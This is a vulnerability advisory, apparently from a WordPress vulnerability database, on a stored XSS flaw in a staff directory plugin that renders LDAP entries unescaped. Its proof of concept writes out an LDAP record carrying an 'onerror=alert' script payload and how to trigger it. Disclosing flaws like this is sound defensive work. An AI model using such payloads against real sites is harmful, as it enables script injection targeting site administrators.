WordPress Plugin Vulnerabilities
Staff / Employee Business Directory for Active Directory < 1.2.3 - Improper escaping of LDAP entries
Description
The plugin does not sanitize and escape data returned from the LDAP server before rendering it in the page, allowing users who can control their entries in the LDAP directory to inject malicious javascript which could be used against high-privilege users such as a site admin.
Proof of Concept
Add a rogue record to a user on the LDAP server, something like: dn: cn=xssman,ou=people,dc=example,dc=com objectClass: inetOrgPerson uuid: xssman givenName: XSS man description: XSS man <img src/onerror=alert(4)> In the page with the [miniorange_ldap_directory_search] shortcode, click search or search specifically for xssman to trigger the payload.
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Pedro José Navas Pérez from Hispasec
Submitter
Pedro José Navas Pérez from Hispasec
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-09-08 (about 8 months ago)
Added
2023-09-08 (about 8 months ago)
Last Updated
2024-01-16 (about 3 months ago)